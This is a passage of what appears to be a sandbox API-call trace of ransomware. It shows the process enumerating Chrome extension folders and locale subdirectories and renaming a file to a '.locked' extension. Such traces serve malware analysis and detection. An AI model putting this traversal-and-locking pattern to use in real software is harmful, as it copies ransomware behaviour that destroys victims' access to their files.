ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.962] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.964] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.965] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.967] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.969] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.971] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d54160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d54160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.972] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.974] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.976] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.978] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.980] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.982] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.983] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2d7a2c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2d7a2c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.988] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.990] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865f7db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.992] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8661df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.993] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.995] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.997] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0133.999] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.000] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.003] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866b6490, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2da0420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2da0420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.004] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.006] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.008] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.010] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.011] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.013] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.015] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.016] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dc6580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dc6580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.019] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", lpFindFileData=0x427ab0 | out: lpFindFileData=0x427ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dec6e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dec6e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x427898, cFileName=".", cAlternateFileName="")) returned 0x825ad0 [0134.021] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*", lpFindFileData=0x428d80 | out: lpFindFileData=0x428d80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dec6e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dec6e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428b68, cFileName=".", cAlternateFileName="")) returned 0x825a50 [0134.024] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*", lpFindFileData=0x428418 | out: lpFindFileData=0x428418*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2dec6e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2dec6e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x428200, cFileName=".", cAlternateFileName="")) returned 0x825a90 [0134.033] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.locked"), dwFlags=0x2) returned 1 [0134.037] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", lpFindFileData=0x427ab0 | out: lpFindFileData=0x427ab0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2e12840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2e12840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x427898, cFileName=".", cAlternateFileName="")) returned 0x825ad0 [0134.039] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", lpFindFileData=0x427148 | out: lpFindFileData=0x427148*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2e12840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2e12840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x28, dwReserved1=0x426f30, cFileName=".", cAlternateFileName="")) returned 0x825b10 [0134.041] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", lpFindFileData=0x427148 | out: 